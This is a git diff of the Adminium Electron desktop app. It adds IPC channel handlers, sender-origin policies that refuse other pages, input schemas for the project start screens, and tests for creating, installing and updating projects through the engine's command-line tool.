+ expect(expectOk(await h.ipc.invoke(IPC_CHANNELS.versionsNotNow))).toMatchObject({ declined: true });
+ expect(expectOk(await h.ipc.invoke(IPC_CHANNELS.versionsLookAgain))).toMatchObject({ on: true });
+ expect(expectOk(await h.ipc.invoke(IPC_CHANNELS.versionsAppleTools))).toEqual(STATE);
+ for (const call of [offer.state, offer.download, offer.cancel, offer.notNow, offer.lookAgain, offer.appleTools]) expect(call).toHaveBeenCalledTimes(1);
+ // A page cannot say what is fetched or from where: no call takes anything.
+ expect(expectFail(await h.ipc.invoke(IPC_CHANNELS.versionsDownload, { url: 'https://example.com/git.tar.gz' })).code).toBe('INVALID_PAYLOAD');
+ expect(offer.download).toHaveBeenCalledTimes(1);
+
+ const stranger: IpcInvokeEventLike = { senderFrame: { url: 'https://example.com/' } };
+ for (const channel of VERSIONS_CHANNELS) expect(expectFail(await h.ipc.invoke(channel, undefined, stranger)).code).toBe('UNTRUSTED_SENDER');
+ // The classic workspace, a build with no offer, and a project whose offer is gone: unavailable, each.
+ for (const none of [harness(), harness({ project: { info: () => INFO, close: () => Promise.resolve(true) } }), harness({ project: { info: () => INFO, close: () => Promise.resolve(true), versions: () => null } })]) {
+ for (const channel of VERSIONS_CHANNELS) expect(expectFail(await none.ipc.invoke(channel)).code).toBe('UNAVAILABLE');
+ }
+ });
+
+ it('are refused to a page that is not the app’s', async () => {
+ const h = harness({ project: { info: () => INFO, close: () => Promise.resolve(true) } });
+ const stranger: IpcInvokeEventLike = { senderFrame: { url: 'https://example.com/' } };
+ for (const channel of [IPC_CHANNELS.projectInfo, IPC_CHANNELS.projectShowInFolder, IPC_CHANNELS.projectClose]) {
+ expect(expectFail(await h.ipc.invoke(channel, undefined, stranger)).code).toBe('UNTRUSTED_SENDER');
+ }
+ });
+});
diff --git a/apps/desktop/src/main/ipc.ts b/apps/desktop/src/main/ipc.ts
index 53a276ad1..80a303609 100644
--- a/apps/desktop/src/main/ipc.ts
+++ b/apps/desktop/src/main/ipc.ts
@@ -51,11 +51,17 @@ import type {
DesktopConfigPatch,
DesktopDiagnostics,
DesktopMenuLabels,
+ DesktopProjectInfo,
DesktopRuntimeInfo,
DesktopUpdateCheckResult,
DesktopUpdateEvent,
SetDataDirOptions,
SetDataDirResult,
+ DesktopStopWords,
+ DesktopShareInfo,
+ DesktopShareResult,
+ DesktopExportKind,
+ DesktopExportResult,
} from '../preload/api.js';
import {
INVOKE_CHANNELS,
@@ -71,6 +77,8 @@ import {
CAPABILITY_STUB,
type CapabilityHost,
} from './capabilities/host.js';
+import type { StartService } from './start.js';
+import type { VersionsOffer } from './versions-offer.js';
import {
autoBackupSchema,
lanShareSchema,
@@ -142,6 +150,9 @@ const chooseDirectorySchema = z.strictObject({
* dropped, and both outcomes are worse than a rejection.
*/
const setConfigSchema = z.strictObject({
+ // What the app's own screens open in: picked in the dashboard, read by Start.
+ language: z.string().min(2).max(35).regex(/^[A-Za-z]{2,3}(-[A-Za-z0-9]{2,8})*$/).nullable().optional(),
+ theme: z.enum(['system', 'light', 'dark']).optional(),
singleUser: z.boolean().optional(),
lanShare: lanShareSchema.optional(),
updates: updatesSchema.optional(),
@@ -199,6 +210,24 @@ const menuLabelsSchema = z.strictObject({
'help.about': menuLabelSchema,
});
+const stopWordSchema = z.string().min(1).max(300);
+/** `project.setStopWords`: the eleven sentences of the quit and close questions. */
+const stopWordsSchema = z.strictObject({
+ turn: stopWordSchema,
+ start: stopWordSchema,
+ save: stopWordSchema,
+ restore: stopWordSchema,
+ style: stopWordSchema,
+ other: stopWordSchema,
+ quitDetail: stopWordSchema,
+ closeDetail: stopWordSchema,
+ quitAnyway: stopWordSchema,
+ closeAnyway: stopWordSchema,
+ keepWorking: stopWordSchema,
+ shareDetail: stopWordSchema,
+ shareAnyway: stopWordSchema,
+});
+
/**
* `readBundledText(kind)`. A closed enum, not a path: the renderer names
* WHICH document (the AGPL licence or the third-party notices), never a file —
@@ -208,6 +237,24 @@ const menuLabelsSchema = z.strictObject({
*/
const bundledTextSchema = z.enum(['license', 'third-party-notices']);
+// The first screens. A path is a string here and judged by `main/start.ts`, which is where the rules are.
+const dialogTitleSchema = z.string().min(1).max(200);
+const projectNameSchema = z.string().max(200);
+const absolutePathSchema = z.string().min(1).max(4096).refine(isAbsolute, { message: 'must be an absolute path' });
+const startNewFolderSchema = z.strictObject({ parent: absolutePathSchema, name: projectNameSchema });
+const startChooseParentSchema = z.strictObject({ from: absolutePathSchema, title: dialogTitleSchema });
+const startCreateProjectSchema = z.strictObject({ parent: absolutePathSchema, name: projectNameSchema, acceptWarning: z.boolean().optional() });
+const startChooseFolderSchema = z.strictObject({ title: dialogTitleSchema });
+const startOpenProjectSchema = z.strictObject({
+ path: absolutePathSchema,
+ agreed: z.boolean().optional(),
+ land: z.enum(['designer', 'dashboard']).optional(),
+ seen: z.array(z.enum(['manager', 'engine', 'found', 'accounts'])).max(8).optional(),
+});
+const startResolveKeySchema = z.strictObject({ path: absolutePathSchema, answer: z.enum(['env', 'fresh', 'new']), title: dialogTitleSchema.optional() });
+const startGetPackagesSchema = z.strictObject({ path: absolutePathSchema, land: z.enum(['designer', 'dashboard']).optional() });
+const startLocateProjectSchema = z.strictObject({ path: absolutePathSchema, title: dialogTitleSchema });
+
const capabilityInvokeSchema = z.strictObject({
capabilityId: z.string().min(1).max(120),
method: z.string().min(1).max(120),
@@ -258,11 +305,11 @@ type Assert = T;
*/
type Settled = { [K in keyof T]-?: Exclude };
-/** The five settable keys. */
-type PatchKey = 'singleUser' | 'lanShare' | 'updates' | 'telemetryOptIn' | 'autoBackup';
+/** The seven settable keys. */
+type PatchKey = 'language' | 'theme' | 'singleUser' | 'lanShare' | 'updates' | 'telemetryOptIn' | 'autoBackup';
/**
- * The patch offers exactly five keys, each carrying exactly the value type
+ * The patch offers exactly seven keys, each carrying exactly the value type
* `config.json` stores under it.
*/
export type _PatchKeysMatchContract = Assert>;
@@ -460,8 +507,30 @@ export interface RegisterIpcHandlersOptions {
showLogs: () => Promise;
/** Relaunch the app (e.g. after a data-dir change). */
relaunch: () => void;
- /** An override. Defaults to {@link loopbackSenderPolicy}. */
+ /**
+ * The first screens' service (`main/start.ts`), or `null` while there is none
+ * (a build or a moment in which Start is not offered). Read at each call.
+ */
+ start?: (() => StartService | null) | undefined;
+ /** The project the window holds: what it is (`null` in the classic workspace) and the way out of it. */
+ project?:
+ | {
+ info: () => (DesktopProjectInfo & { root: string }) | null;
+ close: () => Promise;
+ /** "Export this project…" (`null`: a build that cannot). */
+ exporting?: (() => ProjectExporting | null) | undefined;
+ /** Build and Share, of the project that is open (`null`: a build that cannot share). */
+ sharing?: (() => ProjectSharing | null) | undefined;
+ /** The quit and close questions' words, in the page's language. */
+ setStopWords?: ((words: DesktopStopWords) => void) | undefined;
+ /** The versions offer of the project that is open, or `null`: no project, or a build that cannot look for git. */
+ versions?: (() => VersionsOffer | null) | undefined;
+ }
+ | undefined;
+ /** An override. Defaults to {@link loopbackSenderPolicy}, or to {@link pinnedSenderPolicy} with `pinSender`. */
senderPolicy?: SenderPolicy | undefined;
+ /** The packaged app: only the origin of the server main started may call. Off in the dev loop. */
+ pinSender?: boolean | undefined;
/** The main log. Handler failures are recorded, never swallowed. */
log?: ((line: string) => void) | undefined;
}
@@ -513,6 +582,34 @@ export const loopbackSenderPolicy: SenderPolicy = (senderUrl) => {
}
};
+/**
+ * The packaged app's answer: the bundled pages, and the ONE origin this app's
+ * own server answers on (`http://127.0.0.1:`), read
+ * when the call arrives so a restart on a new port is followed at once.
+ *
+ * Why pinned after all (plan 66, critique B2). The app now also shows pages
+ * that are not its own on this machine's loopback: the Designer's preview on
+ * `localhost:` (pages a model wrote), and another Adminium a person
+ * connects to, which may itself be on `localhost` or behind a tunnel that ends
+ * there. "Any loopback host" would hand those the bridge the moment one of
+ * them became a top-level document. The dev loop keeps
+ * {@link loopbackSenderPolicy}: its dashboard is Vite's, on a port of its own.
+ */
+export function pinnedSenderPolicy(serverPort: () => number | null): SenderPolicy {
+ return (senderUrl) => {
+ if (senderUrl === null) return false;
+ if (senderUrl.startsWith('file://')) return true;
+ const port = serverPort();
+ if (port === null) return false;
+ try {
+ const url = new URL(senderUrl);
+ return url.protocol === 'http:' && url.origin === `http://127.0.0.1:${String(port)}`;
+ } catch {
+ return false;
+ }
+ };
+}
+
/**
* `senderFrame` is a getter over a live frame: it is `null` once the frame is
* gone, and reading it can throw outright if the frame was destroyed mid-call.
@@ -526,8 +623,35 @@ function senderUrlOf(event: IpcInvokeEventLike): string | null {
}
}
+/**
+ * Who may use the first screens' channels: the app's OWN pages, which are the
+ * only `file:` documents a window of this app ever holds. A project's dashboard
+ * (loopback, and trusted for the rest of the bridge) is refused: its preview and
+ * its pages are drawn from a folder's code, and "open that other folder" or
+ * "make a project there" must not be something that code can ask for.
+ */
+export const ownPagePolicy: SenderPolicy = (senderUrl) => senderUrl !== null && senderUrl.startsWith('file://');
+
// ─── Error mapping ───────────────────────────────────────────────────────────
+/** Build and Share of the project a window holds, as main does them (`main/index.ts`). */
+/** "Export this project…", of the project a window holds. */
+export interface ProjectExporting {
+ run(input: { kind: DesktopExportKind; title: string; from?: string | undefined }): Promise;
+ /** The last outcome, handed over once. */
+ takeResult(): DesktopExportResult | null;
+ show(): Promise;
+}
+
+export interface ProjectSharing {
+ share(): Promise;
+ build(): Promise;
+ /** `null` while the project is being built. */
+ info(): DesktopShareInfo | null;
+ showShared(): Promise;
+ openDashboard(): Promise;
+}
+
/** `disabled` mode, as seen from the bridge: the port does not exist. */
class UnavailableError extends Error {}
@@ -593,7 +717,8 @@ export function toErrorPayload(error: unknown): IpcErrorPayload {
*/
export function registerIpcHandlers(opts: RegisterIpcHandlersOptions): IpcHandlers {
const { ipc } = opts;
- const senderPolicy = opts.senderPolicy ?? loopbackSenderPolicy;
+ const senderPolicy =
+ opts.senderPolicy ?? (opts.pinSender === true ? pinnedSenderPolicy(() => opts.runtime()?.serverPort ?? null) : loopbackSenderPolicy);
const lanShareUrls = opts.lanShareUrls ?? ((): readonly string[] => []);
const log = opts.log ?? ((): void => {});
@@ -618,9 +743,10 @@ export function registerIpcHandlers(opts: RegisterIpcHandlersOptions): IpcHandle
channel: string,
schema: S,
run: (input: z.output) => Promise,
+ allowed: (event: IpcInvokeEventLike, channel: string) => boolean = trusted,
): void {
ipc.handle(channel, async (event, ...args): Promise> => {
- if (!trusted(event, channel)) return untrusted;
+ if (!allowed(event, channel)) return untrusted;
const parsed = schema.safeParse(args[0]);
if (!parsed.success) {
const detail = formatIssues(parsed.error);
@@ -745,6 +871,130 @@ export function registerIpcHandlers(opts: RegisterIpcHandlersOptions): IpcHandle
});
register(IPC_CHANNELS.showLogs, noPayloadSchema, () => opts.showLogs());
+ // ─── the first screens ─────────────────────────────────────────────────────
+
+ const ownPage = (event: IpcInvokeEventLike, channel: string): boolean => {
+ const url = senderUrlOf(event);
+ if (ownPagePolicy(url)) return true;
+ log(`ipc: refused ${channel} from a page that is not the app's own: ${url ?? '(no frame)'}`);
+ return false;
+ };
+ const start = (): StartService => {
+ const service = opts.start?.() ?? null;
+ if (service === null) throw new UnavailableError('The first screens are not open.');
+ return service;
+ };
+ register(IPC_CHANNELS.startState, noPayloadSchema, () => Promise.resolve(start().state()), ownPage);
+ register(IPC_CHANNELS.startJudgeNewFolder, startNewFolderSchema, (input) => Promise.resolve(start().judgeNewFolder(input)), ownPage);
+ register(IPC_CHANNELS.startChooseParent, startChooseParentSchema, (input) => start().chooseParent(input), ownPage);
+ register(
+ IPC_CHANNELS.startCreateProject,
+ startCreateProjectSchema,
+ (input) => start().createProject({ parent: input.parent, name: input.name, ...(input.acceptWarning === undefined ? {} : { acceptWarning: input.acceptWarning }) }),
+ ownPage,
+ );
+ register(IPC_CHANNELS.startMakeProgress, noPayloadSchema, () => Promise.resolve(start().makeProgress()), ownPage);
+ register(IPC_CHANNELS.startChooseFolder, startChooseFolderSchema, (input) => start().chooseFolder(input), ownPage);
+ register(
+ IPC_CHANNELS.startOpenProject,
+ startOpenProjectSchema,
+ (input) =>
+ start().openProject({
+ path: input.path,
+ ...(input.agreed === undefined ? {} : { agreed: input.agreed }),
+ ...(input.land === undefined ? {} : { land: input.land }),
+ ...(input.seen === undefined ? {} : { seen: input.seen }),
+ }),
+ ownPage,
+ );
+ register(IPC_CHANNELS.startGetPackages, startGetPackagesSchema, (input) => start().getPackages({ path: input.path, ...(input.land === undefined ? {} : { land: input.land }) }), ownPage);
+ register(IPC_CHANNELS.startResolveKey, startResolveKeySchema, (input) => start().resolveKey({ path: input.path, answer: input.answer, ...(input.title === undefined ? {} : { title: input.title }) }), ownPage);
+ register(IPC_CHANNELS.startUpdateProject, z.strictObject({ path: absolutePathSchema }), (input) => start().updateProject(input), ownPage);
+ register(IPC_CHANNELS.startUpdateApp, noPayloadSchema, () => Promise.resolve(start().updateApp()), ownPage);
+ // An address a person typed: a short string, judged by `main/guest.ts` before anything is asked of it.
+ const guestAddressSchema = z.string().min(1).max(300);
+ register(IPC_CHANNELS.startConnect, z.strictObject({ address: guestAddressSchema, anyway: z.boolean().optional() }), (input) => start().connect({ address: input.address, ...(input.anyway === undefined ? {} : { anyway: input.anyway }) }), ownPage);
+ register(IPC_CHANNELS.startGuests, noPayloadSchema, () => Promise.resolve(start().guests()), ownPage);
+ register(IPC_CHANNELS.startForgetGuest, guestAddressSchema, (address) => start().forgetGuest(address), ownPage);
+ register(IPC_CHANNELS.startForgetProject, absolutePathSchema, (path) => start().forgetProject(path), ownPage);
+ register(IPC_CHANNELS.startLocateProject, startLocateProjectSchema, (input) => start().locateProject(input), ownPage);
+ // ─── the project this window holds ─────────────────────────────────────────
+
+ // Answered for the project's own page (the ordinary sender rule). None of the three takes a path: a page
+ // cannot aim them at a folder other than the one it is served from.
+ register(IPC_CHANNELS.projectInfo, noPayloadSchema, () => {
+ const info = opts.project?.info() ?? null;
+ return Promise.resolve(info === null ? null : { name: info.name, displayPath: info.displayPath, mode: info.mode });
+ });
+ register(IPC_CHANNELS.projectShowInFolder, noPayloadSchema, async () => {
+ const info = opts.project?.info() ?? null;
+ if (info === null) throw new UnavailableError('This window holds no project.');
+ await opts.dialogs.showItemInFolder(info.root);
+ });
+ register(IPC_CHANNELS.projectClose, noPayloadSchema, () => {
+ if (opts.project === undefined || opts.project.info() === null) throw new UnavailableError('This window holds no project.');
+ return opts.project.close();
+ });
+
+ // Words for a native dialog: bounded like the menu's, and all of them or none.
+ register(IPC_CHANNELS.projectStopWords, stopWordsSchema, (words) => {
+ opts.project?.setStopWords?.(words);
+ return Promise.resolve();
+ });
+
+ // Export. The kind is the page's to say; where the file goes is the person's, in the system's own dialog.
+ const exporting = (): ProjectExporting => {
+ const found = opts.project?.exporting?.() ?? null;
+ if (found === null) throw new UnavailableError('This window holds no project.');
+ return found;
+ };
+ register(IPC_CHANNELS.projectExport, z.strictObject({
+ kind: z.enum(['everything', 'apps']),
+ title: dialogTitleSchema,
+ // A page of the project's own server, by its path: never another origin (`//host`, a scheme), never a fragment.
+ from: z.string().max(400).regex(/^\/(?!\/)[^\\#\s]*$/).optional(),
+ }),
+ (input) => exporting().run({ kind: input.kind, title: input.title, ...(input.from === undefined ? {} : { from: input.from }) }),
+ );
+ register(IPC_CHANNELS.projectExportResult, noPayloadSchema, () => Promise.resolve(opts.project?.exporting?.()?.takeResult() ?? null));
+ register(IPC_CHANNELS.projectShowExport, noPayloadSchema, () => exporting().show());
+
+ // Build and Share. For the project's own page (the Designer's control) and for the app's own (the sharing details).
+ const sharing = (): ProjectSharing => {
+ const found = opts.project?.sharing?.() ?? null;
+ if (found === null) throw new UnavailableError('This window holds no project.');
+ return found;
+ };
+ register(IPC_CHANNELS.projectShare, noPayloadSchema, () => sharing().share());
+ register(IPC_CHANNELS.projectBuild, noPayloadSchema, () => sharing().build());
+ register(IPC_CHANNELS.projectShareInfo, noPayloadSchema, () => Promise.resolve(opts.project?.sharing?.()?.info() ?? null));
+ register(IPC_CHANNELS.projectShowShared, noPayloadSchema, () => sharing().showShared());
+ register(IPC_CHANNELS.projectOpenDashboard, noPayloadSchema, () => sharing().openDashboard());
+
+ // The versions offer. `download` is the one call in this bridge that reaches out to the internet for a
+ // program: it fetches one pinned file from its publisher, and only this project's own page can ask.
+ const versions = (): VersionsOffer => {
+ const offer = opts.project?.versions?.() ?? null;
+ if (offer === null) throw new UnavailableError('This window holds no project.');
+ return offer;
+ };
+ register(IPC_CHANNELS.versionsState, noPayloadSchema, () => Promise.resolve(versions().state()));
+ register(IPC_CHANNELS.versionsDownload, noPayloadSchema, () => Promise.resolve(versions().download()));
+ register(IPC_CHANNELS.versionsCancel, noPayloadSchema, () => Promise.resolve(versions().cancel()));
+ register(IPC_CHANNELS.versionsNotNow, noPayloadSchema, () => versions().notNow());
+ register(IPC_CHANNELS.versionsLookAgain, noPayloadSchema, () => versions().lookAgain());
+ register(IPC_CHANNELS.versionsAppleTools, noPayloadSchema, () => versions().appleTools());
+
+ register(
+ IPC_CHANNELS.startUseClassic,
+ noPayloadSchema,
+ () => {
+ start().useClassic();
+ return Promise.resolve();
+ },
+ ownPage,
+ );
+
return {
emitUpdateEvent(event: DesktopUpdateEvent): void {
opts.broadcast(IPC_CHANNELS.updateEvent, event);
diff --git a/apps/desktop/src/main/make-project.test.ts b/apps/desktop/src/main/make-project.test.ts
new file mode 100644
index 000000000..e954ae2c4
--- /dev/null
+++ b/apps/desktop/src/main/make-project.test.ts
@@ -0,0 +1,217 @@
+// SPDX-License-Identifier: AGPL-3.0-only
+import { existsSync, mkdirSync, mkdtempSync, readFileSync, realpathSync, rmSync, writeFileSync } from 'node:fs';
+import { tmpdir } from 'node:os';
+import { join } from 'node:path';
+
+// A TEST may import the engine freely (see `backup-format-parity.test.ts`): it does not ship.
+import { DESIGN_DATABASE } from '@adminium/server';
+import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest';
+
+import { FOLDER_FACTS_TIMEOUT_MS, INSTALLING_LINE, MAKE_PROJECT_TIMEOUT_MS, NEW_PROJECT_DATABASE, createFolderFacts, createInstallPackages, createMakeProject, createUpdateProject, lastLines, runToEnd, type MakeProjectDeps, type RanProgram } from './make-project.js';
+
+let home: string;
+beforeEach(() => {
+ home = realpathSync(mkdtempSync(join(tmpdir(), 'adminium-make-')));
+});
+afterEach(() => {
+ rmSync(home, { recursive: true, force: true });
+});
+
+const deps = (run: MakeProjectDeps['run'], more: Partial = {}): MakeProjectDeps => ({
+ binary: '/Applications/Adminium.app/Contents/MacOS/Adminium',
+ cliEntry: '/app/node_modules/@adminium/server/dist/cli/index.js',
+ programs: () => Promise.resolve('{"binary":"x"}'),
+ env: { PATH: '/usr/bin', ADMINIUM_SECRET: 'the-classic-workspace-secret', GONE: undefined },
+ run,
+ ...more,
+});
+const ran = (more: Partial = {}): RanProgram => ({ code: 0, output: '', timedOut: false, ...more });
+
+describe('the database a new project starts with', () => {
+ it('is the engine’s own', () => {
+ expect(NEW_PROJECT_DATABASE).toBe(DESIGN_DATABASE);
+ });
+});
+
+describe('getting the packages of a project that is there', () => {
+ it('runs the engine’s `install` in the folder, as Node, with the app’s programs and no secret of anyone else’s', async () => {
+ const run = vi.fn(() => Promise.resolve(ran()));
+ await expect(createInstallPackages(deps(run))({ root: home })).resolves.toEqual({ ok: true });
+ expect(run).toHaveBeenCalledWith('/Applications/Adminium.app/Contents/MacOS/Adminium', ['/app/node_modules/@adminium/server/dist/cli/index.js', 'install'], {
+ cwd: home,
+ env: { PATH: '/usr/bin', ELECTRON_RUN_AS_NODE: '1', ADMINIUM_DESKTOP_PROGRAMS: '{"binary":"x"}' },
+ timeoutMs: MAKE_PROJECT_TIMEOUT_MS,
+ });
+ });
+
+ it('says why in the installer’s own last lines, and never removes a folder that was there', async () => {
+ writeFileSync(join(home, 'adminium.config.ts'), 'export default {};\n');
+ await expect(createInstallPackages(deps(() => Promise.resolve(ran({ code: 1, output: 'a\nnpm error code ENOTFOUND' }))))({ root: home })).resolves.toEqual({ ok: false, detail: 'a\nnpm error code ENOTFOUND' });
+ await expect(createInstallPackages(deps(() => Promise.resolve(ran({ code: null, timedOut: true }))))({ root: home })).resolves.toEqual({ ok: false, detail: 'Getting the packages took too long and was stopped.' });
+ expect(existsSync(join(home, 'adminium.config.ts'))).toBe(true);
+ });
+});
+
+describe('making a project', () => {
+ it('runs the engine’s `new` in the parent, as Node, with the app’s programs and no secret of anyone else’s', async () => {
+ const parent = join(home, 'Adminium');
+ const root = join(parent, 'shop');
+ const run = vi.fn(() => {
+ mkdirSync(root, { recursive: true });
+ return Promise.resolve(ran());
+ });
+ const log = vi.fn();
+ await expect(createMakeProject(deps(run, { log }))({ parent, folder: 'shop', root })).resolves.toEqual({ ok: true });
+ expect(run).toHaveBeenCalledWith(
+ '/Applications/Adminium.app/Contents/MacOS/Adminium',
+ ['/app/node_modules/@adminium/server/dist/cli/index.js', 'new', 'shop', '--yes', '--database', NEW_PROJECT_DATABASE],
+ { cwd: parent, env: { PATH: '/usr/bin', ELECTRON_RUN_AS_NODE: '1', ADMINIUM_DESKTOP_PROGRAMS: '{"binary":"x"}' }, timeoutMs: MAKE_PROJECT_TIMEOUT_MS, onOutput: expect.any(Function) as unknown },
+ );
+ // The parent was made first: `new` is run IN it.
+ expect(existsSync(parent)).toBe(true);
+ // An empty file is an empty database, and a SQLite connection opens only a file that exists.
+ expect(readFileSync(join(root, 'data', 'app.sqlite'), 'utf8')).toBe('');
+ expect(log).toHaveBeenCalledWith(expect.stringContaining('exit 0'));
+ });
+
+ it('takes away a folder it made and could not finish, so the same name can be tried again', async () => {
+ const root = join(home, 'shop');
+ const run: MakeProjectDeps['run'] = () => {
+ mkdirSync(root, { recursive: true });
+ writeFileSync(join(root, 'package.json'), '{}');
+ return Promise.resolve(ran({ code: 1, output: 'npm ci failed' }));
+ };
+ await expect(createMakeProject(deps(run))({ parent: home, folder: 'shop', root })).resolves.toEqual({ ok: false, detail: 'npm ci failed' });
+ expect(existsSync(root)).toBe(false);
+ });
+
+ it('leaves a folder that was there before it, whatever happened', async () => {
+ const root = join(home, 'shop');
+ mkdirSync(root);
+ const run: MakeProjectDeps['run'] = () => {
+ writeFileSync(join(root, 'package.json'), '{}');
+ return Promise.resolve(ran({ code: null, output: '', timedOut: true }));
+ };
+ await expect(createMakeProject(deps(run))({ parent: home, folder: 'shop', root })).resolves.toMatchObject({ ok: false });
+ expect(existsSync(join(root, 'package.json'))).toBe(true);
+ });
+
+ it('says where it is: the files, the packages once the engine hands over to npm, then the database', async () => {
+ const root = join(home, 'shop');
+ const steps: string[] = [];
+ const run: MakeProjectDeps['run'] = (_command, _args, opts) => {
+ mkdirSync(root, { recursive: true });
+ // In pieces, as a pipe delivers it: the line is found across two chunks, and said once.
+ opts.onOutput?.('Started a git repository.\nInstalling depen');
+ steps.push('(before the line is whole)');
+ opts.onOutput?.('dencies with npm…\n');
+ opts.onOutput?.('added 212 packages\nInstalling dependencies with npm…\n');
+ return Promise.resolve(ran());
+ };
+ await createMakeProject(deps(run))({ parent: home, folder: 'shop', root, onStep: (step) => steps.push(step) });
+ expect(steps).toEqual(['files', '(before the line is whole)', 'packages', 'database']);
+ });
+
+ it('listens for the very words the engine prints before its install', () => {
+ const source = readFileSync(new URL('../../../server/src/cli/commands/new.ts', import.meta.url), 'utf8');
+ expect(source).toContain(`io.out(\`${INSTALLING_LINE} \${command}…\`)`);
+ });
+
+ it('keeps a database that is already there', async () => {
+ const root = join(home, 'shop');
+ const run: MakeProjectDeps['run'] = () => {
+ mkdirSync(join(root, 'data'), { recursive: true });
+ writeFileSync(join(root, 'data', 'app.sqlite'), 'rows');
+ return Promise.resolve(ran());
+ };
+ await createMakeProject(deps(run))({ parent: home, folder: 'shop', root });
+ expect(readFileSync(join(root, 'data', 'app.sqlite'), 'utf8')).toBe('rows');
+ });
+
+ it('goes without the programs value in a build that has none', async () => {
+ const run = vi.fn(() => Promise.resolve(ran({ code: 1 })));
+ await createMakeProject(deps(run, { programs: () => Promise.resolve(undefined) }))({ parent: home, folder: 'shop', root: join(home, 'shop') });
+ expect(run.mock.calls[0]?.[2].env).not.toHaveProperty('ADMINIUM_DESKTOP_PROGRAMS');
+ });
+
+ it('answers with the end of what was printed when it fails, and makes no database', async () => {
+ const root = join(home, 'shop');
+ const output = ['a', 'b', 'c', 'd', 'e', 'f', 'npm error code ENOTFOUND', '', 'npm error network request failed '].join('\n');
+ const made = await createMakeProject(deps(() => Promise.resolve(ran({ code: 1, output }))))({ parent: home, folder: 'shop', root });
+ expect(made).toEqual({ ok: false, detail: 'c\nd\ne\nf\nnpm error code ENOTFOUND\nnpm error network request failed' });
+ expect(existsSync(join(root, 'data'))).toBe(false);
+ });
+
+ it('says so when it took too long', async () => {
+ const made = await createMakeProject(deps(() => Promise.resolve(ran({ code: null, timedOut: true }))))({ parent: home, folder: 'shop', root: join(home, 'shop') });
+ expect(made).toEqual({ ok: false, detail: 'Getting the packages took too long and was stopped.' });
+ });
+
+ it('says so when the parent cannot be made, and runs nothing', async () => {
+ writeFileSync(join(home, 'a-file'), '');
+ const run = vi.fn(() => Promise.resolve(ran()));
+ const made = await createMakeProject(deps(run))({ parent: join(home, 'a-file', 'under'), folder: 'shop', root: join(home, 'a-file', 'under', 'shop') });
+ expect(made.ok).toBe(false);
+ expect(run).not.toHaveBeenCalled();
+ });
+});
+
+describe('the last lines of a program’s output', () => {
+ it('drops the blank ones and keeps the end', () => {
+ expect(lastLines('one\n\n two \nthree\n', 2)).toBe(' two\nthree');
+ expect(lastLines('')).toBe('');
+ });
+});
+
+describe('running a program to its end', () => {
+ const env = { PATH: process.env.PATH ?? '' };
+ it('reads both streams and how it ended', async () => {
+ const result = await runToEnd(process.execPath, ['-e', 'console.log("out"); console.error("err"); process.exit(3)'], { cwd: home, env, timeoutMs: 20_000 });
+ expect(result.code).toBe(3);
+ expect(result.timedOut).toBe(false);
+ expect(result.output).toContain('out');
+ expect(result.output).toContain('err');
+ });
+ it('stops one that takes too long', async () => {
+ const result = await runToEnd(process.execPath, ['-e', 'setInterval(() => {}, 1000)'], { cwd: home, env, timeoutMs: 300 });
+ expect(result.timedOut).toBe(true);
+ });
+ it('answers, not throws, for a program that is not there', async () => {
+ const result = await runToEnd(join(home, 'no-such-program'), [], { cwd: home, env, timeoutMs: 5_000 });
+ expect(result.code).toBeNull();
+ expect(result.output).not.toBe('');
+ });
+});
+
+describe('what the engine says a folder holds', () => {
+ const FACTS = { secret: true, database: 'sqlite', dataDir: '/p/data', lastEngine: '0.3.21', newer: [], people: { count: 1, names: ['Owner'] }, apiKeys: { count: 0, names: [] }, publicKeys: { count: 0, names: [] }, ownerHasPassword: false, running: null, otherManager: null, engine: { installed: '0.3.21', declared: '0.3.21', here: '0.3.21' }, install: null };
+
+ it('is asked of the engine’s own `folder-facts`, in the folder, as Node, and read from its JSON', async () => {
+ const run = vi.fn(() => Promise.resolve(ran({ output: `${JSON.stringify(FACTS)}\n` })));
+ await expect(createFolderFacts(deps(run))(home)).resolves.toEqual(FACTS);
+ expect(run).toHaveBeenCalledWith('/Applications/Adminium.app/Contents/MacOS/Adminium', ['/app/node_modules/@adminium/server/dist/cli/index.js', 'folder-facts'], {
+ cwd: home,
+ env: { PATH: '/usr/bin', ELECTRON_RUN_AS_NODE: '1', ADMINIUM_DESKTOP_PROGRAMS: '{"binary":"x"}' },
+ timeoutMs: FOLDER_FACTS_TIMEOUT_MS,
+ });
+ });
+
+ it('is nothing when the command failed, took too long, or said something else: the folder then opens as before', async () => {
+ const log = vi.fn();
+ for (const end of [{ code: 78, output: 'There is no project in this folder' }, { code: null, timedOut: true }, { code: 0, output: 'not json' }]) {
+ await expect(createFolderFacts({ ...deps(() => Promise.resolve(ran(end))), log })(home)).resolves.toBeNull();
+ }
+ expect(log).toHaveBeenCalledTimes(3);
+ expect(String(log.mock.calls[1]?.[0])).toContain('timed out');
+ });
+});
+
+describe('"Update this project"', () => {
+ it('runs the engine’s `install --update` in the folder, and says why when it fails', async () => {
+ const run = vi.fn(() => Promise.resolve(ran()));
+ await expect(createUpdateProject(deps(run))({ root: home })).resolves.toEqual({ ok: true });
+ expect(run).toHaveBeenCalledWith('/Applications/Adminium.app/Contents/MacOS/Adminium', ['/app/node_modules/@adminium/server/dist/cli/index.js', 'install', '--update'], expect.objectContaining({ cwd: home, timeoutMs: MAKE_PROJECT_TIMEOUT_MS }));
+ await expect(createUpdateProject(deps(() => Promise.resolve(ran({ code: 1, output: 'npm error code E404' }))))({ root: home })).resolves.toEqual({ ok: false, detail: 'npm error code E404' });
+ await expect(createUpdateProject(deps(() => Promise.resolve(ran({ code: null, timedOut: true }))))({ root: home })).resolves.toEqual({ ok: false, detail: 'Getting the packages took too long and was stopped.' });
+ });
+});
diff --git a/apps/desktop/src/main/make-project.ts b/apps/desktop/src/main/make-project.ts
new file mode 100644
index 000000000..f208b6286
--- /dev/null
+++ b/apps/desktop/src/main/make-project.ts
@@ -0,0 +1,255 @@
+// SPDX-License-Identifier: AGPL-3.0-only
+/**
+ * Making a new project from the app: the engine's own `new`, run as the
+ * terminal runs it.
+ *
+ * WHY THE ENGINE'S COMMAND AND NOT A COPY OF ITS STEPS. `adminium new` lays the
+ * template, writes the secret and the database's address into `.env`, and,
+ * told it is inside the app (`ADMINIUM_DESKTOP_PROGRAMS`), lists what the
+ * Designer's screens need, lays in the lockfile this release was tried with and
+ * installs with the npm the app carries. Every one of those steps has its own
+ * tests there. Main starts it with its own program asked to be Node, which is
+ * the one Node the app has, and reads how it ended.
+ *
+ * ELECTRON-FREE: the program, the entry and the runner are handed in.
+ */
+
